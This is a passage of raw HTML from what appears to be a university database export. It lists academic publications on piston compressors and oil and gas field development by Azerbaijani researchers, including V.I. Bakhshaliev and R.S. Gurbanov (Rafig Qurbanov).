5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Journal of “Azerbaijan Oil Industry”</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1986</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">№ 12, p.56-58</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">12.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:6pt 0in;padding:0px\">The development of the method of calculation of mechanical losses in a piston compressor&nbsp;machine</p><p style=\"margin:6pt 0in;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Brochure</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Bakhshaliev&nbsp;V.I.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Author’s abstract of dissertation, Baku</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1988</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">22 pp.</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">13.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:6pt 0in;padding:0px\">Wear problems in cylinder of a piston compressor</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Conference Proceedings</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Bakhshaliev V.I.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Transactions of the scientific conference “Tribotechnique of Oil Industry Equipment”, Baku</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1992</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">p.29-30</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">14.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:6pt 0in;padding:0px\">The research of the diametrical vibration on “floating” connecting rod</p><p style=\"margin:6pt 0in;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Journal article</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Bakhshaliev&nbsp;V.I.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Journal of ”Machine building”, Moscow</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1993</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">№ 3-5, p.7-11</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">15.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:6pt 0in;padding:0px\">Determination of the equation of connecting rod motion respectively to the piston’s finger and crank. magazine</p><p style=\"margin:6pt 0in;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Journal article</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Journal of “Oil and gas”</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1993</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">№3, p.71-73</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">16.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:6pt 0in;padding:0px\">Influence of diametrical vibration of turret of lathe to the quality of treat</p><p style=\"margin:6pt 0in;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Journal article</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Babaev S.G., Bakhshaliev V.I., Kadirov A.R.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">The Scientific Collection of Azerbaijan Oil Academy, Baku</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1993</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">№1, p.8-5</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">17.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:6pt 0in;padding:0px\">The calculation of the longitudinal vibration of “floating” connecting rod of a crank – piston mechanism</p><p style=\"margin:6pt 0in;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Journal article</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Bakhshaliev&nbsp;V.I.,Mamebov R.T.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Journal of Russian universities News ”Machine building”, Moscow</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1995</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">№ 10-12, p.21-25</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">18.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;line-height:12pt\">The problems of stability of “floating” connecting rod of a crank-piston mechanism</p><p style=\"margin:6pt 0in;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Conference Proceedings</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Bakhshaliev V.I.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\"><span style=\"color:#000000\">Proceedings of the 7<sup>th</sup>international machine design and production conference, Ankara, Turkey,</span></p><p style=\"margin:0px;padding:0px\"><span style=\"color:#000000\">11-13 September,</span></p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\"><span style=\"color:#000000\">1996</span></p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">&nbsp;</p></td></tr></tbody></table></div><br></div>'),(1246,768,'en','Rafig Qurbanov','Rafig Qurbanov','<div><br></div><div style=\"font-family:arial, helvetica, sans-serif\"><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td><p>#</p></td><td><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Изменение температурного режима I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, Э.А.Багбанлы, Т.А. Зейналов</p></td><td><p>Изв. АН Азерб. ССР, сер. Геол.-геогр. наук</p></td><td><p>1964</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К методике графического определения пластового давления</p></td><td><p>Journal articles<strong>&nbsp;</strong></p></td><td><p>Р.С. Гурбанов, С. Д. Нуриев</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №4</p></td><td><p>1965</p></td><td><p>1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К вопросу установления тектонического нарушения по данным исследования скважин</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, Б.М.Листенгартен</p></td><td><p>Листок технической информации</p><p>сер. \"Нефтедобывающая промышленность\" АзИНТИ</p></td><td><p>1965</p></td><td><p>6.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Некоторые гидрохимические особенности I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p>Journal article<strong>&nbsp;</strong></p></td><td><p>Р.С. Гурбанов, Б.М. Молдавский</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №2</p></td><td><p>1966</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>О влиянии некоторых факторов на изменение качества нефти</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, А.Н. Гусейнов</p></td><td><p>Сборник трудов молодых ученых и аспирантов институтов отделения наук о Земле. Изд. АН Азерб. ССР</p></td><td><p>1966</p></td><td><p>11 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К вопросу эксплуатации скважин при повышенных перепадах давления</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Н. Гусейнов</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №7</p></td><td><p>1966</p></td><td><p>2.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Изменение химического состава пластовых вод I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, А.Р. Ахундов&nbsp;</p></td><td><p>\"Теория технологических процессов бурения и нефтедобычи \"Изд. \"Элм\"&nbsp; АН Азерб. ССР</p></td><td><p>1970</p></td><td><p>7 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К изучению изменения темпов использования запасов при разработке залежей с неньютоновскими нефтями</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, В.А. Алиев</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\" №9,</p></td><td><p>1968</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К вопросу нефтеотдачи залежей с ньютоновской&nbsp;&nbsp; неньютоновской нефтей, разрабатываемые водным воздействием</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №10</p></td><td><p>1968</p></td><td><p>1.5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Исследование физико-механических свойств нефти подкирмакинской свиты месторождения Балаханы-Сабунчи-Раманы</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.И. Мамедов</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №4</p></td><td><p>1969</p></td><td><p>1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Анализ успешности методов воздействия на призабойную зону нефтяных скважин</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №5</p></td><td><p>1969</p></td><td><p>2.0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К исследованию коэффициента&nbsp; использования запасов кирмакинской свиты</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №6</p></td><td><p>1970</p></td><td><p>1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>О темпах обводнения нефтяных пластов</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №6</p></td><td><p>1970</p></td><td><p>2.5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Анализ промысловых данных по коэффициенту&nbsp;&nbsp; использования запасов на месторождениях с проявлением начального градиента давления</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №9</p></td><td><p>1970</p></td><td><p>3.0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>О применении дисперсионного анализа при изучении факторов, влияющих на нефтеотдачу</p></td><td><p>Journal article</p></td><td><p>А.Х. Мирзаджанзаде, Р.С. Гурбанов Р.С.&nbsp;&nbsp;</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №2</p></td><td><p>1971</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Методическое пособие \"Особенности разработки и эксплуатации месторождений неньютоновских нефтей\"</p></td><td><p>Metodical</p><p>Book</p></td><td><p>А.Х. Мирзаджанзаде, З.А. Ахмедов, Р.С. Гурбанов&nbsp;</p></td><td><p>Утвержден протоколом специального совещания Министерства нефтедобывающей промышленностит СССР. Москва, ВНИИОЭНГ</p></td><td><p>1971</p></td><td><p>&nbsp;</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Применение статистических методов при изучении факторов, влияющих на коэффициент нефтеотдачи</p></td><td><p>Metodical</p><p>Book</p></td><td><p>А.Х. Мирзаджанзаде, Р.С. Гурбанов</p></td><td><p>&nbsp;Института Геологии и Горючих Ископаемых</p><p>Москва</p></td><td><p>1972</p></td><td><p>&nbsp;70 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Исследование коэффициента нефтеизвлечения месторождений с неньютоновскими нефтями</p></td><td><p>Symposium</p></td><td><p>Р.С. Гурбанов</p></td><td><p>Аннотация докладов III Всесоюзного симпозиума по применению неньютоновских систем в нефтедобыче, город Краснодар</p></td><td><p>1972</p></td><td><p>1.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Физико-геологические проблемы повышения нефтегазоотдачи пластов</p></td><td><p>Metodical</p><p>Book</p></td><td><p>А.Х. Мирчинк,</p><p>А.Х. Мирзаджанзаде, Р.С. Гурбанов</p></td><td><p>&nbsp;Института Геологии и Горючих Ископаемых</p><p>Москва</p></td><td><p>1975</p></td><td><p>&nbsp;232 стр</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Производственная практика и её роль в повышении качества учебного процесса &nbsp;</p></td><td><p>Conference</p></td><td><p>Р.С. Гурбанов</p></td><td><p>Аннотация докладов VI научно-методической конференции Кабульского Политехнического Института, Афганистан</p></td><td><p>1978</p></td><td><p>1.0 стр</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Нефт вя газ йатагларынын ишлянмяси нин технолоэийасы вя комплекс механикляшдирилмяси\" вя \"Нефт вя газ гуйуларынын газылмасы\" ихтисаслары цзря тящсил алан тялябяляр цчцн \"Газын гуйу иля чыхарылмасы\" фянниндян Тядрис-танышлыг Тяърцбясинин Програмы вя Методик эюстянришляр</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p>Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p>1980</p></td><td><p>3.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" ихтисаслашмасы цзря тящсил алан тялябяляр цчцн \"Газ вя газконденсат йатагларынын ишлянмяси\" фянниндян&nbsp; Истещсалат&nbsp; Тяърцбясинин Програмы вя Методик эюстянришляр</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p>Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p>1980</p></td><td><p>10.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" ихтисаслашмасы цзря тящсил алан тялябяляр цчцн \"Газын гуйу иля чыхарылмасы\" фянниндян&nbsp; Истещсалат&nbsp; Тяърцбясинин Програмы вя Методик эюстянришляр</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p>Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p>1980</p></td><td><p>19.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Программа и методические указания учебно-ознакомительной практики по добыче газа для студентов по специальностям \"Технология и комплексная механизация разработки нефтяных и газовых месторождений\" и \"Бурение нефтяных и газовых\" &nbsp;&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1981</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Программа и методические указания Производственной практики по добыче газа для студентов по</p><p>специализации \"Разработка газовых и газоконденсатных месторождений\"</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1981</p></td><td><p>11 .0</p><p>стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Программа и методические указания Производственной практики по разработке газовых и газоконденсатных месторождений для студентов&nbsp;</p><p>специализации \"Разработка газовых и газоконденсатных месторождений\"</p><p>&nbsp;</p></td><td><p>Metodical</p><p>work</p></td><td><p>&nbsp;</p><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1981</p></td><td><p>11 .0</p><p>стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Расплавление парафинистых отложений, образующихся на стенках подъемных труб&nbsp;</p></td><td><p>Journal article</p></td><td><p>А.И. Мамедов,&nbsp;</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №3</p></td><td><p>1982</p></td><td><p>1 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Корреляционные зависимости для расчета параметров природного газа</p></td><td><p>Journal article</p></td><td><p>А.А. Багиров, Р.С. Гурбанов</p></td><td><p>\"Известия Вузов\" , раздел \"Нефть и газ\", №9</p></td><td><p>1983</p></td><td><p>2 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Определение пластового давления и коэффициентов фильтрационного сопротивления по результатам исследования газовых скважин</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №19</p></td><td><p>1984</p></td><td><p>7 .5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Определение оптимальной глубины спуска подъемных труб в газовых скважинах месторождения Ходжа-Гугердаг</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №21</p></td><td><p>1985</p></td><td><p>4 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Выбор типа и оптимальной конструкции поверхностно-активного вещества для удаления жидкости с забоев скважин месторождений Северного Афганистана</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №20</p></td><td><p>1985</p></td><td><p>5 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Разработка нефтяных и газовых месторождений (на языке дари)</p></td><td><p>Textbook</p></td><td><p>М.Ф. Каримов, Р.С. Гурбанов, А.Р. Мангал</p></td><td><p>Издание Кабульского Политехнического Института,&nbsp;<strong>г. Кабул</strong></p></td><td><p>1985</p></td><td><p>100 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Прогнозирование накопления жидкости на забое газовых скважин месторождений Северного Афганистана</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p>Научный журнал Кабульского Политехнического Института, №23</p></td><td><p>1986</p></td><td><p>1 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" кафедрасынын ихтисас фяннляри цзря лабораторийа ишляри Топлусу</p></td><td><p>Metodical</p><p>work</p></td><td><p>Р.С. Гурбанов,</p><p>Э.С. Садых-эаде</p></td><td><p>Издательство Азербайджанской Государственной Нефтяной Академии,</p><p>Баку</p></td><td><p>1993</p></td><td><p>86.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Эцняшли нефт йатаьы цзря \"фасиля\" лай дястясинин нефт ещтийатларынын щесабланмасы</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов,</p><p>Н.В. Нясибов</p></td><td><p>Азярбайъан Республикасы</p><p>\"Тящсил\" Ъямиййяти. Техника журналы, №3</p></td><td><p>2002</p></td><td><p>6.0</p><p>стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Decision making on estimation of production efficiency in oil recovery proceg</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов,</p><p>G.A. Safarov</p></td><td><p>Journal Knowledge Series Business.</p><p>\"Education\" Society of</p><p>Azerbaycan Republic, №2</p></td><td><p>2003</p></td><td><p>5.5 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Decision making on improvement of \"cost-revenue\" relation in oil and gas production</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов,</p><p>G.A. Safarov</p></td><td><p>Journal Knowledge Series Business.</p><p>\"Education\" Society of</p><p>Azerbaycan Republic, №1</p></td><td><p>2004</p></td><td><p>7.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Decreasing the production costs in oil and gas industry</p></td><td><p>Journal article</p></td><td><p>R.S. Gurbanov,</p><p>G.A. Safarov</p></td><td><p>Journal Knowledge</p><p>Series Business. \"Education\" Society of</p><p>Azerbaycan Republic, №3</p></td><td><p>2004</p></td><td><p>6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Role of Reengineering in training of specialists for national economy</p></td><td><p>Symposium</p></td><td><p>R.S. Gurbanov, R.S. Gurbanov</p></td><td><p>3<sup>rd</sup>&nbsp;International Symposium on Electrical, Electronic and Computer Engineering.Nicosia, North Cyprus</p></td><td><p>2006</p></td><td><p>6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Fuzzy Dupuis equation and its application for determination of fluid influx</p></td><td><p>Conference</p></td><td><p>R.S. Gurbanov, R.S. Gurbanov&nbsp;</p></td><td><p>4th International Conference on soft computing with words&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and perceptions in system analysis, decision and control, Antalya&nbsp;</p></td><td><p>2007</p></td><td><p>6.0 